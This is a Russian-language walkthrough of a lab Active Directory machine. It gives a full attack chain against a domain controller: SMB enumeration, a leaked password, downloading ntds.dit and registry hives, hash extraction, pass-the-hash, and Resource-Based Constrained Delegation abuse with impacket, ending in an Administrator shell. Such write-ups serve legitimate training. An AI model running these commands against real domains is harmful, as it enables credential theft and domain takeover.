На официальном сайте сложность машины оценивается, как Very Hard
.
NMAP #
Начинаем с быстрого сканирования для определения всех слушающих портов.
nmap -v -Pn -T4 -p- 192.168.183.175

Затем приступаем к детальном сканированию найденных портов.
nmap -v -Pn -A -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49666,49668,49669,49675,49676,49694,49712 192.168.183.175

Сразу можем добавить запись в /etc/hosts
для найденного доменного имени.
SMB #
Начинаем базовую энумерацию SMB с помощью crackmapexec
.
Users #
crackmapexec smb 192.168.183.175 -u '' -p '' --users

Внимание сразу привлекает две вещи:
- Пароль в открытом виде в описании пользователя
V.Ventz
. - Пользователи, которые являются админами (
M.Mason
,L.Livingstone
,R.Robinson
) и вероятно имеют болеe высокие привелегии, чем остальные.
Так как мы уже нашли один пароль, то дальнейшее исследование SMB мы будем проводить с учетными данными пользователя
V.Ventz
.
Shares #
crackmapexec smb 192.168.183.175 -u 'V.Ventz' -p 'HotelCalifornia194!' --shares

Внимание привлекает директория под названием Password Audit
. Мы конечно же проверим и другие, так как права READ
, есть не только к ней.
Но для экономии времии, я сразу скажу, что интерес представляет Password Audit
.
smbclient #
crackmapexec smb 192.168.183.175 -u 'V.Ventz' -p 'HotelCalifornia194!' --only-files --regex . --spider 'Password Audit'

Кто-то любезно оставил на общедоступной шаре файлы, которые хранят в себе хэши локальных и доменных паролей.
Давайте подключимся и скачаем их:
smbclient --user 'resourced.local\V.Ventz' --password 'HotelCalifornia194!' \\\\192.168.183.175\\Password\ Audit
smb: \> cd "Active Directory"
smb: \Active Directory\> get ntds.dit
getting file \Active Directory\ntds.dit of size 25165824 as ntds.dit (5809.9 KiloBytes/sec) (average 5809.9 KiloBytes/sec)
smb: \Active Directory\> cd ..
smb: \> cd registry\
smb: \registry\> get SECURITY
getting file \registry\SECURITY of size 65536 as SECURITY (744.2 KiloBytes/sec) (average 5709.0 KiloBytes/sec)
smb: \registry\> get SYSTEM
getting file \registry\SYSTEM of size 16777216 as SYSTEM (6750.7 KiloBytes/sec) (average 6083.9 KiloBytes/sec)
В итоге мы скачали себе 3 файла: ntds.dit
, SECURITY
, SYSTEM
.
О том, что это за файлы и для чего они нужны я рассказывал в статье об эскалации привелегий через SeBackupPrivilege
.
impacket-secretsdump #
Теперь с помощью impacket-secretsdump
мы можем извлечь хэши из ntds.dit
и SECURITY
.
impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL

Сохраним хэши в файл ntlm.hash
и попробуем подобрать пароли с помощью hashcat
.
Hashcat #
hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt
К сожалению неудачно.
Pass the Hash #
Для того, чтобы подключиться к системе или выполнять другие команды, нам не обязательно знать пароль, можно использовать хэш.
evil-winrm #
Ранее я отметил нескольких интересных пользователей, которые подходили для того, чтобы попробовать получить к ним
доступ в первую очередь. Я перепробовал хэши к разным пользователям и сразу скажу, что это L.Livingstone
, который
значится, как SysAdmin
.
evil-winrm -i 192.168.183.175 -u L.Livingstone -H 19a3a7550ce8c505c2d46b5e39d6f808

Как видно на скриншоте, пользователь обладает привелегией SeMachineAccountPrivilege
.
SeMachineAccountPrivilege #
Привилегия SeMachineAccountPrivilege
позволяет пользователю создавать и добавлять учетные записи компьютеров в
домен Active Directory
, что открывает для нас потенциальную возможность атаки через RBCD (Resource-Based Constrained Delegation)
.
RBCD #
Resource-Based Constrained Delegation (RBCD)
— это функция в Active Directory
, которая позволяет администратору
ресурса (например, сервера) контролировать, кто может выдавать запросы на доступ к этому ресурсу от имени других
пользователей.
Обладая привилегией SeMachineAccountPrivilege
можно создать фиктивную учетную запись компьютера, а затем
настроить атрибут msDS-AllowedToActOnBehalfOfOtherIdentity
на целевом ресурсе, позволяя этой учетной записи
действовать от имени других пользователей. После этого можно запросить (TGS)
билет Kerberos
от имени
привилегированной учетной записи (например, администратора), что дает возможность выполнять действия с высокими
привилегиями в системе.
Осталось выполнить буквально 4 команды, чтобы получить shell
на контроллер домена от имени Administrator
.
Перед тем, как приступить добавьте в /etc/hosts
запись, если не сделали это ранее.
192.168.183.175 resourcedc.resourced.local resourced.local
Добавление нового компьютера в домен #
Добавим новый компьютер fake-pc$
с паролем Winter2025!
.
impacket-addcomputer -dc-ip 192.168.183.175 -hashes aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'fake-pc$' -computer-pass 'Winter2025!' resourced.local/L.Livingstone
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account fake-pc$ with password Winter2025!.
Делегирование #
Предоставим учетной записи компьютера fake-pc$
право действовать от имени других пользователей на целевом ресурсе RESOURCEDC$
.
RESOURCEDC$
- это контроллер домена.

impacket-rbcd -dc-ip 192.168.183.175 -hashes aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808 -delegate-from 'fake-pc$' -delegate-to 'RESOURCEDC$' -action 'write' resourced.local/L.Livingstone
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] fake-pc$ can now impersonate users on RESOURCEDC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] fake-pc$ (S-1-5-21-537427935-490066102-1511301751-4101)
Запрос TGS билета #
Запросим Kerberos Service Ticket (ST)
от имени учетной записи Administrator
для службы
cifs/RESOURCEDC.RESOURCED.LOCAL
, используя учетную запись fake-pc$
.
impacket-getST -dc-ip 192.168.183.175 -spn 'cifs/RESOURCEDC.RESOURCED.LOCAL' -impersonate 'Administrator' 'resourced.local/fake-pc$':'Winter2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
В текущем каталоге будет создан файл 'Administrator@[email protected]'
.
Переименуем его в Administrator.ccache
и установим переменную окружения KRB5CCNAME
.
mv 'Administrator@[email protected]' Administrator.ccache
export KRB5CCNAME=./Administrator.ccache
Получение shell #
Теперь остался финальный шаг - это используя TGS
билет получить shell
на контроллер домена через
impacket-psexec
.
impacket-psexec -dc-ip 192.168.183.175 -k -no-pass resourced.local/[email protected]

Флаги #
Ну и в завершении, забираем флаги с машины:
Flag 1 #

Flag 2 #

Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!